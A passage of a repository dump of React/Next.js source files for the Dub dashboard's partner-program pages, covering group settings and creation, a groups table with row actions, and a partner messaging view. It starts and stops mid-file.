description={GROUP_NAME_DESCRIPTION}\n        >\n          {isLoading ? (\n            <div className=\"h-[38px] w-full animate-pulse rounded-md bg-neutral-200\" />\n          ) : (\n            <div className=\"relative\">\n              <input\n                type=\"text\"\n                id=\"name\"\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 px-3 py-2 pr-12 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.name &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"name\", {\n                  required: true,\n                })}\n                onChange={(e) => {\n                  const name = e.target.value;\n                  setValue(\"name\", name, { shouldDirty: true });\n\n                  if (group!.slug !== DEFAULT_PARTNER_GROUP.slug) {\n                    setValue(\"slug\", slugify(name), { shouldDirty: true });\n                  }\n                }}\n                placeholder=\"Group name\"\n              />\n              <div className=\"absolute inset-y-0 right-0 flex items-center pr-2.5\">\n                <Controller\n                  control={control}\n                  name=\"color\"\n                  render={({ field }) => (\n                    <GroupColorPicker\n                      color={field.value}\n                      onChange={field.onChange}\n                    />\n                  )}\n                />\n              </div>\n            </div>\n          )}\n        </GroupSettingsRow>\n\n        {(isLoading ||\n          (group && group.slug !== DEFAULT_PARTNER_GROUP.slug)) && (\n          <GroupSettingsRow\n            heading=\"Group slug\"\n            description={GROUP_SLUG_DESCRIPTION}\n          >\n            {isLoading ? (\n              <div className=\"h-[38px] w-full animate-pulse rounded-md bg-neutral-200\" />\n            ) : (\n              <input\n                type=\"text\"\n                id=\"slug\"\n                className={cn(\n                  \"block w-full rounded-md border border-neutral-300 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.slug &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"slug\", {\n                  required: true,\n                })}\n                placeholder=\"group-name\"\n              />\n            )}\n          </GroupSettingsRow>\n        )}\n\n        <GroupSettingsRow heading=\"Group ID\" description={GROUP_ID_DESCRIPTION}>\n          {isLoading ? (\n            <div className=\"h-[38px] w-full animate-pulse rounded-md bg-neutral-200\" />\n          ) : (\n            <div className=\"relative\">\n              <input\n                type=\"text\"\n                readOnly\n                className=\"block w-full rounded-md border border-neutral-300 bg-neutral-100 px-3 py-2 pr-12 font-mono text-sm text-neutral-600 focus:border-neutral-300 focus:ring-0\"\n                defaultValue={group!.id}\n              />\n              <div className=\"absolute inset-y-0 right-0 flex items-center pr-2.5\">\n                <CopyButton\n                  value={group!.id}\n                  onCopy={() => {\n                    toast.success(\"Group ID copied to clipboard!\");\n                  }}\n                />\n              </div>\n            </div>\n          )}\n        </GroupSettingsRow>\n      </div>\n\n      <div className=\"border-border-subtle flex items-center justify-end rounded-b-lg border-t bg-neutral-50 px-6 py-4\">\n        <div>\n          <Button\n            text=\"Save changes\"\n            className=\"h-8\"\n            loading={isSubmitting}\n            disabled={!isDirty || isLoading}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/settings/page.tsx",
    "content": "import { GroupAdditionalSettings } from \"./group-additional-settings\";\nimport { GroupSettings } from \"./group-settings\";\n\nexport default function GroupSettingsPage() {\n  return (\n    <div className=\"flex flex-col gap-6\">\n      <GroupSettings />\n      <GroupAdditionalSettings />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/create-group-button.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useGroupsCount from \"@/lib/swr/use-groups-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { usePartnersUpgradeModal } from \"@/ui/partners/partners-upgrade-modal\";\nimport { Button, useKeyboardShortcut, useMediaQuery } from \"@dub/ui\";\nimport { useCreateGroupModal } from \"./create-group-modal\";\n\nexport function CreateGroupButton() {\n  const { isMobile } = useMediaQuery();\n  const { groupsLimit, nextPlan, role } = useWorkspace();\n  const { groupsCount } = useGroupsCount();\n\n  const permissionsError = clientAccessCheck({\n    action: \"groups.write\",\n    role,\n  }).error;\n\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal({\n      plan: [\"Advanced\", \"Enterprise\"].includes(nextPlan.name)\n        ? nextPlan.name\n        : \"Enterprise\",\n    });\n\n  const { createGroupModal, setIsOpen: setShowCreateGroupSheet } =\n    useCreateGroupModal({});\n\n  const disabled = groupsCount === undefined || groupsLimit === undefined;\n\n  const handleCreateGroup = () => {\n    if (!disabled && groupsCount >= groupsLimit)\n      setShowPartnersUpgradeModal(true);\n    else setShowCreateGroupSheet(true);\n  };\n\n  useKeyboardShortcut(\"c\", () => handleCreateGroup(), {\n    enabled: !disabled && !permissionsError,\n  });\n\n  return (\n    <>\n      {partnersUpgradeModal}\n      {createGroupModal}\n      <Button\n        type=\"button\"\n        onClick={handleCreateGroup}\n        text={`Create${isMobile ? \"\" : \" group\"}`}\n        className=\"h-8 px-3 sm:h-9\"\n        shortcut={!disabled ? \"C\" : undefined}\n        disabled={disabled}\n        disabledTooltip={permissionsError || undefined}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/create-group-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { createGroupSchema } from \"@/lib/zod/schemas/groups\";\nimport { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { GroupColorPicker } from \"@/ui/partners/groups/group-color-picker\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { useRouter } from \"next/navigation\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ninterface CreateGroupModalProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}\n\ntype FormData = z.input<typeof createGroupSchema>;\n\nfunction CreateGroupModalContent({ setIsOpen }: CreateGroupModalProps) {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const { makeRequest: createGroup, isSubmitting } = useApiMutation();\n  const {\n    register,\n    handleSubmit,\n    setValue,\n    control,\n    formState: { errors },\n  } = useForm<FormData>({\n    defaultValues: {\n      color:\n        RESOURCE_COLORS[Math.floor(Math.random() * RESOURCE_COLORS.length)],\n    },\n  });\n\n  const onSubmit = async (data: FormData) => {\n    await createGroup(\"/api/groups\", {\n      method: \"POST\",\n      body: data,\n      onSuccess: async () => {\n        await mutatePrefix(\"/api/groups\");\n        setIsOpen(false);\n        toast.success(`Group ${data.name} created successfully`);\n        router.push(`/${slug}/program/groups/${data.slug}`);\n      },\n    });\n  };\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)}>\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <h2 className=\"text-lg font-semibold\">Create group</h2>\n        </div>\n      </div>\n\n      <div className=\"flex-1 overflow-y-auto\">\n        <div className=\"space-y-6 p-6\">\n          <div>\n            <label\n              htmlFor=\"name\"\n              className=\"text-sm font-medium text-neutral-800\"\n            >\n              Group name\n            </label>\n            <div className=\"mt-1.5\">\n              <div className=\"relative\">\n                <input\n                  type=\"text\"\n                  id=\"name\"\n                  autoFocus\n                  className={cn(\n                    \"block w-full rounded-md border-neutral-300 px-3 py-2 pr-12 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                    errors.name &&\n                      \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                  )}\n                  {...register(\"name\", {\n                    required: true,\n                  })}\n                  onChange={(e) => {\n                    const name = e.target.value;\n                    setValue(\"name\", name);\n                    setValue(\"slug\", slugify(name));\n                  }}\n                  placeholder=\"Group name\"\n                />\n                <div className=\"absolute inset-y-0 right-0 flex items-center pr-2.5\">\n                  <Controller\n                    control={control}\n                    name=\"color\"\n                    render={({ field }) => (\n                      <GroupColorPicker\n                        color={field.value}\n                        onChange={field.onChange}\n                      />\n                    )}\n                  />\n                </div>\n              </div>\n\n              <p className=\"mt-2 text-xs text-neutral-500\">\n                For internal use only, never visible to partners\n              </p>\n            </div>\n          </div>\n\n          <div>\n            <label\n              htmlFor=\"slug\"\n              className=\"text-sm font-medium text-neutral-800\"\n            >\n              Group slug\n            </label>\n            <div className=\"mt-1.5\">\n              <input\n                type=\"text\"\n                id=\"slug\"\n                className={cn(\n                  \"block w-full rounded-md border border-neutral-300 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.slug &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"slug\", {\n                  required: true,\n                })}\n                placeholder=\"group-name\"\n              />\n              <p className=\"mt-2 text-xs text-neutral-500\">\n                For program landing page and internal group page URLs\n              </p>\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-end gap-2 p-5\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            onClick={() => setIsOpen(false)}\n            text=\"Cancel\"\n            className=\"w-fit\"\n            disabled={isSubmitting}\n          />\n\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Create group\"\n            className=\"w-fit\"\n            loading={isSubmitting}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nexport function CreateGroupModal({\n  isOpen,\n  setIsOpen,\n}: CreateGroupModalProps & {\n  isOpen: boolean;\n}) {\n  return (\n    <Modal showModal={isOpen} setShowModal={setIsOpen}>\n      <CreateGroupModalContent setIsOpen={setIsOpen} />\n    </Modal>\n  );\n}\n\nexport function useCreateGroupModal(\n  props: Omit<CreateGroupModalProps, \"setIsOpen\">,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    createGroupModal: (\n      <CreateGroupModal setIsOpen={setIsOpen} isOpen={isOpen} {...props} />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/groups-table.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useGroupsCount from \"@/lib/swr/use-groups-count\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { GroupExtendedProps } from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { useConfirmSetDefaultGroupModal } from \"@/ui/modals/confirm-set-default-group-modal\";\nimport { useDeleteGroupModal } from \"@/ui/modals/delete-group-modal\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport {\n  Button,\n  DynamicTooltipWrapper,\n  EditColumnsButton,\n  Icon,\n  Popover,\n  StatusBadge,\n  Table,\n  useCopyToClipboard,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  Copy,\n  Dots,\n  LinesY,\n  PenWriting,\n  Star,\n  Tick,\n  Trash,\n  Users,\n} from \"@dub/ui/icons\";\nimport { cn, currencyFormatter, fetcher, nFormatter } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\n\nconst getGroupUrl = ({\n  workspaceSlug,\n  groupSlug,\n}: {\n  workspaceSlug: string;\n  groupSlug: string;\n}) => `/${workspaceSlug}/program/groups/${groupSlug}/rewards`;\n\nexport function GroupsTable() {\n  const router = useRouter();\n  const { id: workspaceId, slug, defaultProgramId } = useWorkspace();\n  const { program } = useProgram();\n  const { pagination, setPagination } = usePagination();\n  const { queryParams, searchParams, getQueryString } = useRouterStuff();\n\n  const sortBy =\n    searchParams.get(\"sortBy\") ||\n    (program?.primaryRewardEvent === \"lead\" ? \"totalLeads\" : \"totalSaleAmount\");\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const {\n    data: groups,\n    isLoading: groupsLoading,\n    error,\n  } = useSWR<GroupExtendedProps[]>(\n    workspaceId &&\n      defaultProgramId &&\n      `/api/groups${getQueryString({\n        workspaceId: workspaceId,\n        includeExpandedFields: \"true\",\n        sortBy,\n        sortOrder,\n      }).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const {\n    groupsCount,\n    loading: groupsCountLoading,\n    error: countError,\n  } = useGroupsCount();\n\n  const isFiltered = !!searchParams.get(\"search\");\n\n  const currentDefaultGroup = groups?.find(\n    (g) => g.slug === DEFAULT_PARTNER_GROUP.slug,\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: groups\n      ? groups.map((group) => {\n          // prefetch the group page\n          router.prefetch(\n            getGroupUrl({ workspaceSlug: slug!, groupSlug: group.slug }),\n          );\n          return group;\n        })\n      : [],\n    columns: [\n      {\n        id: \"group\",\n        header: \"Group\",\n        enableHiding: false,\n        minSize: 250,\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-2\">\n            <GroupColorCircle group={row.original} />\n            <span>{row.original.name}</span>\n            {row.original.slug === DEFAULT_PARTNER_GROUP.slug && (\n              <StatusBadge variant=\"new\" icon={null} className=\"px-1.5 py-0.5\">\n                Default\n              </StatusBadge>\n            )}\n          </div>\n        ),\n      },\n      {\n        id: \"totalPartners\",\n        header: \"Partners\",\n        accessorFn: (d) => nFormatter(d.totalPartners, { full: true }),\n      },\n      {\n        id: \"totalClicks\",\n        header: \"Clicks\",\n        accessorFn: (d) => nFormatter(d.totalClicks),\n      },\n      {\n        id: \"totalLeads\",\n        header: \"Leads\",\n        accessorFn: (d) => nFormatter(d.totalLeads),\n      },\n      {\n        id: \"totalConversions\",\n        header: \"Conversions\",\n        accessorFn: (d) => nFormatter(d.totalConversions),\n      },\n      {\n        id: \"totalSaleAmount\",\n        header: \"Revenue\",\n        accessorFn: (d) => currencyFormatter(d.totalSaleAmount),\n      },\n      {\n        id: \"totalCommissions\",\n        header: \"Commissions\",\n        accessorFn: (d) => currencyFormatter(d.totalCommissions),\n      },\n      {\n        id: \"netRevenue\",\n        header: \"Net Revenue\",\n        accessorFn: (d) => currencyFormatter(d.netRevenue),\n      },\n      {\n        id: \"menu\",\n        enableHiding: false,\n        header: () => <EditColumnsButton table={table} />,\n        cell: ({ row }) => (\n          <RowMenuButton row={row} currentDefaultGroup={currentDefaultGroup} />\n        ),\n      },\n    ],\n    columnPinning: { right: [\"menu\"] },\n    onRowClick: (row, e) => {\n      const url = getGroupUrl({\n        workspaceSlug: slug!,\n        groupSlug: row.original.slug,\n      });\n\n      if (e.metaKey || e.ctrlKey) window.open(url, \"_blank\");\n      else router.push(url);\n    },\n    onRowAuxClick: (row) =>\n      window.open(\n        getGroupUrl({ workspaceSlug: slug!, groupSlug: row.original.slug }),\n        \"_blank\",\n      ),\n    pagination,\n    onPaginationChange: setPagination,\n    sortableColumns: [\n      \"totalPartners\",\n      \"totalClicks\",\n      \"totalLeads\",\n      \"totalConversions\",\n      \"totalSaleAmount\",\n      \"totalCommissions\",\n      // \"netRevenue\", // TODO: add back when we can sort by this again\n    ],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `group${p ? \"s\" : \"\"}`,\n    rowCount: groupsCount || 0,\n    loading: groupsLoading || groupsCountLoading,\n    error: error || countError ? \"Failed to load groups\" : undefined,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n        <SearchBoxPersisted\n          placeholder=\"Search by name\"\n          inputClassName=\"md:w-72\"\n        />\n      </div>\n\n      {groups?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"No groups found\"\n          description={\n            isFiltered\n              ? \"No groups found for the selected filters.\"\n              : \"No groups have been added to this program yet.\"\n          }\n          cardContent={() => (\n            <>\n              <Users className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n        />\n      )}\n    </div>\n  );\n}\n\nfunction RowMenuButton({\n  row,\n  currentDefaultGroup,\n}: {\n  row: Row<GroupExtendedProps>;\n  currentDefaultGroup: GroupExtendedProps | undefined;\n}) {\n  const router = useRouter();\n  const { slug } = useParams();\n  const [isOpen, setIsOpen] = useState(false);\n  const { role } = useWorkspace();\n\n  const { DeleteGroupModal, setShowDeleteGroupModal } = useDeleteGroupModal(\n    row.original,\n  );\n\n  const { openConfirmSetDefaultGroupModal, ConfirmSetDefaultGroupModal } =\n    useConfirmSetDefaultGroupModal();\n\n  const permissionsError = clientAccessCheck({\n    action: \"groups.write\",\n    role,\n  }).error;\n\n  const [copiedGroupId, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <>\n      <DeleteGroupModal />\n      {ConfirmSetDefaultGroupModal}\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"w-screen text-sm focus-visible:outline-none sm:w-auto sm:min-w-[200px]\">\n              <Command.Group className=\"grid gap-px p-1.5\">\n                <MenuItem\n                  icon={PenWriting}\n                  label=\"Edit group\"\n                  variant=\"default\"\n                  onSelect={() =>\n                    router.push(\n                      `/${slug}/program/groups/${row.original.slug}/settings`,\n                    )\n                  }\n                  disabledTooltip={permissionsError || undefined}\n                />\n\n                <MenuItem\n                  icon={Users}\n                  label=\"View partners\"\n                  variant=\"default\"\n                  onSelect={() =>\n                    router.push(\n                      `/${slug}/program/partners?groupId=${row.original.id}`,\n                    )\n                  }\n                />\n\n                <MenuItem\n                  icon={LinesY}\n                  label=\"View analytics\"\n                  variant=\"default\"\n                  onSelect={() =>\n                    router.push(\n                      `/${slug}/program/analytics?groupId=${row.original.id}`,\n                    )\n                  }\n                />\n              </Command.Group>\n              <Command.Separator className=\"border-t border-neutral-200\" />\n              <Command.Group className=\"grid gap-px p-1.5\">\n                <MenuItem\n                  icon={copiedGroupId ? Tick : Copy}\n                  label=\"Copy group ID\"\n                  variant=\"default\"\n                  onSelect={() => {\n                    toast.promise(copyToClipboard(row.original.id), {\n                      success: \"Group ID copied!\",\n                    });\n                  }}\n                />\n                {currentDefaultGroup &&\n                  row.original.slug !== DEFAULT_PARTNER_GROUP.slug && (\n                    <>\n                      <MenuItem\n                        icon={Star}\n                        label=\"Set as default\"\n                        variant=\"default\"\n                        onSelect={() => {\n                          setIsOpen(false);\n                          openConfirmSetDefaultGroupModal({\n                            currentDefaultGroup,\n                            newDefaultGroup: row.original,\n                          });\n                        }}\n                        disabledTooltip={permissionsError || undefined}\n                      />\n                      <MenuItem\n                        icon={Trash}\n                        label=\"Delete group\"\n                        variant=\"danger\"\n                        onSelect={() => setShowDeleteGroupModal(true)}\n                        disabledTooltip={permissionsError || undefined}\n                      />\n                    </>\n                  )}\n              </Command.Group>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  variant = \"default\",\n  disabledTooltip,\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  variant?: \"default\" | \"danger\";\n  disabledTooltip?: string | boolean;\n}) {\n  const variantStyles = {\n    default: {\n      text: \"text-neutral-600\",\n      icon: \"text-neutral-500\",\n    },\n    danger: {\n      text: \"text-red-600\",\n      icon: \"text-red-600\",\n    },\n  };\n\n  const { text, icon } = variantStyles[variant];\n\n  return (\n    <DynamicTooltipWrapper\n      tooltipProps={disabledTooltip ? { content: disabledTooltip } : undefined}\n    >\n      <Command.Item\n        className={cn(\n          \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md p-2 text-sm\",\n          disabledTooltip\n            ? \"cursor-not-allowed opacity-50\"\n            : \"data-[selected=true]:bg-neutral-100\",\n          text,\n        )}\n        onSelect={disabledTooltip ? undefined : onSelect}\n      >\n        <IconComp className={cn(\"size-4 shrink-0\", icon)} />\n        {label}\n      </Command.Item>\n    </DynamicTooltipWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { CreateGroupButton } from \"./create-group-button\";\nimport { GroupsTable } from \"./groups-table\";\n\nexport default function ProgramPartnersGroups() {\n  return (\n    <PageContent\n      title=\"Groups\"\n      titleInfo={{\n        title:\n          \"Learn how you can create partner groups to segment partners by rewards, discounts, performance, location, and more.\",\n        href: \"https://dub.co/help/article/partner-groups\",\n      }}\n      controls={<CreateGroupButton />}\n    >\n      <PageWidthWrapper>\n        <GroupsTable />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/layout.tsx",
    "content": "import { ReactNode } from \"react\";\nimport ProgramAuth from \"./auth\";\n\nexport default function ProgramLayout({ children }: { children: ReactNode }) {\n  return <ProgramAuth>{children}</ProgramAuth>;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/messages/[partnerId]/page-client.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { markPartnerMessagesReadAction } from \"@/lib/actions/partners/mark-partner-messages-read\";\nimport { messagePartnerAction } from \"@/lib/actions/partners/message-partner\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartner from \"@/lib/swr/use-partner\";\nimport { usePartnerMessages } from \"@/lib/swr/use-partner-messages\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useUser from \"@/lib/swr/use-user\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useMessagesContext } from \"@/ui/messages/messages-context\";\nimport { MessagesPanel } from \"@/ui/messages/messages-panel\";\nimport { ToggleSidePanelButton } from \"@/ui/messages/toggle-side-panel-button\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { PartnerInfoGroup } from \"@/ui/partners/partner-info-group\";\nimport { PartnerInfoSection } from \"@/ui/partners/partner-info-section\";\nimport { PartnerInfoStats } from \"@/ui/partners/partner-info-stats\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button } from \"@dub/ui\";\nimport { ChevronLeft } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { redirect, useParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { v4 as uuid } from \"uuid\";\n\nexport function ProgramMessagesPartnerPageClient() {\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n\n  const { partnerId } = useParams() as { partnerId: string };\n  const { user } = useUser();\n  const { program } = useProgram();\n  const {\n    partner: enrolledPartner,\n    error: enrolledPartnerError,\n    loading: enrolledPartnerLoading,\n  } = usePartner(\n    { partnerId },\n    { shouldRetryOnError: (err) => err.status !== 404 },\n  );\n\n  const {\n    executeAsync: markPartnerMessagesRead,\n    isPending: isMarkingPartnerMessagesRead,\n  } = useAction(markPartnerMessagesReadAction);\n\n  const {\n    partnerMessages,\n    error: errorMessages,\n    mutate: mutatePartnerMessages,\n  } = usePartnerMessages({\n    query: { partnerId, sortOrder: \"asc\" },\n    swrOpts: {\n      onSuccess: async (data) => {\n        // Mark unread messages from the partner as read\n        if (\n          !isMarkingPartnerMessagesRead &&\n          data?.[0]?.messages?.some(\n            (message) => message.senderPartnerId && !message.readInApp,\n          )\n        ) {\n          await markPartnerMessagesRead({\n            workspaceId: workspaceId!,\n            partnerId,\n          });\n          mutatePrefix(\"/api/messages\");\n        }\n      },\n    },\n  });\n\n  const partner = partnerMessages?.[0]?.partner;\n  const messages = partnerMessages?.[0]?.messages;\n\n  const { executeAsync: sendMessage } = useAction(messagePartnerAction, {\n    onError({ error }) {\n      toast.error(parseActionError(error, \"Failed to send message\"));\n    },\n  });\n\n  const { setCurrentPanel } = useMessagesContext();\n  const [isRightPanelOpen, setIsRightPanelOpen] = useState(true);\n\n  if (errorMessages) redirect(`/${workspaceSlug}/program/messages`);\n\n  return (\n    <div\n      className=\"relative grid h-full\"\n      style={{\n        gridTemplateColumns: \"minmax(340px, 1fr) minmax(0, min-content)\",\n      }}\n    >\n      <div className=\"flex h-full min-h-0 flex-col\">\n        <div className=\"border-border-subtle flex h-12 shrink-0 items-center justify-between gap-4 border-b px-4 sm:h-16 sm:px-6\">\n          <div className=\"flex items-center gap-2\">\n            <button\n              type=\"button\"\n              onClick={() => setCurrentPanel(\"index\")}\n              className=\"@[800px]/page:hidden shrink-0 rounded-lg p-1.5 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n            >\n              <ChevronLeft className=\"size-3.5\" />\n            </button>\n            <button\n              type=\"button\"\n              onClick={() => setIsRightPanelOpen((o) => !o)}\n              disabled={!enrolledPartner}\n              className=\"-mx-2 -my-1 flex items-center gap-2 rounded-lg px-2 py-1 transition-colors duration-100 enabled:hover:bg-black/5 enabled:active:bg-black/10\"\n            >\n              {!partner ? (\n                <>\n                  <div className=\"size-6 animate-pulse rounded-full bg-neutral-200\" />\n                  <div className=\"h-8 w-36 animate-pulse rounded-md bg-neutral-200\" />\n                </>\n              ) : (\n                <>\n                  <PartnerAvatar partner={partner} className=\"size-6\" />\n                  <h2 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n                    {partner?.name ?? \"Partner\"}\n                  </h2>\n                </>\n              )}\n            </button>\n          </div>\n          {enrolledPartner ? (\n            <ToggleSidePanelButton\n              isOpen={isRightPanelOpen}\n              onClick={() => setIsRightPanelOpen((o) => !o)}\n            />\n          ) : enrolledPartnerError ? (\n            <ViewPartnerButton partnerId={partnerId} isEnrolled={false} />\n          ) : null}\n        </div>\n        <div className=\"min-h-0 grow\">\n          <MessagesPanel\n            messages={messages && user ? messages : undefined}\n            error={errorMessages}\n            currentUserType=\"user\"\n            currentUserId={user?.id || \"\"}\n            program={program}\n            partner={partner}\n            onSendMessage={async (message) => {\n              const createdAt = new Date();\n\n              try {\n                await mutatePartnerMessages(\n                  async (data) => {\n                    const result = await sendMessage({\n                      workspaceId: workspaceId!,\n                      partnerId,\n                      text: message,\n                    });\n\n                    if (result?.data?.message) {\n                      return data\n                        ? [\n                            {\n                              ...data[0],\n                              messages: [\n                                ...data[0].messages,\n                                result.data.message,\n                              ],\n                            },\n                          ]\n                        : [];\n                    }\n                  },\n                  {\n                    optimisticData: (data) =>\n                      data\n                        ? [\n                            {\n                              ...data[0],\n                              messages: [\n                                ...data[0].messages,\n                                {\n                                  delivered: false,\n                                  id: `tmp_${uuid()}`,\n                                  programId: program!.id,\n                                  partnerId: partnerId,\n                                  text: message,\n                                  subject: null,\n                                  type: \"direct\",\n                                  readInApp: null,\n                                  readInEmail: null,\n                                  createdAt,\n                                  updatedAt: createdAt,\n                                  senderPartnerId: null,\n                                  senderPartner: null,\n                                  senderUserId: user!.id,\n                                  senderUser: {\n                                    id: user!.id,\n                                    name: user!.name,\n                                    image: user!.image || null,\n                                  },\n                                },\n                              ],\n                            },\n                          ]\n                        : [],\n                    rollbackOnError: true,\n                  },\n                );\n\n                mutatePrefix(\"/api/messages\");\n              } catch (e) {\n                console.log(`Failed to send message: ${e}`);\n                toast.error(`Failed to send message: ${e}`);\n              }\n            }}\n          />\n        </div>\n      </div>\n\n      {/* Right panel - Profile */}\n      <div\n        className={cn(\n          \"absolute right-0 top-0 h-full min-h-0 w-0 overflow-hidden bg-white shadow-lg transition-[width]\",\n          \"@[960px]/page:shadow-none @[960px]/page:relative\",\n          isRightPanelOpen && \"w-full sm:w-[340px]\",\n        )}\n      >\n        <div className=\"border-border-subtle flex size-full min-h-0 w-full flex-col border-l sm:w-[340px]\">\n          <div className=\"border-border-subtle flex h-12 shrink-0 items-center justify-between gap-4 border-b px-4 sm:h-16 sm:px-6\">\n            <h2 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n              Profile\n            </h2>\n            <div className=\"flex items-center gap-2\">\n              <ViewPartnerButton partnerId={partnerId} isEnrolled={true} />\n              <button\n                type=\"button\"\n                onClick={() => setIsRightPanelOpen(false)}\n                className=\"@[960px]/page:hidden rounded-lg p-2 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n              >\n                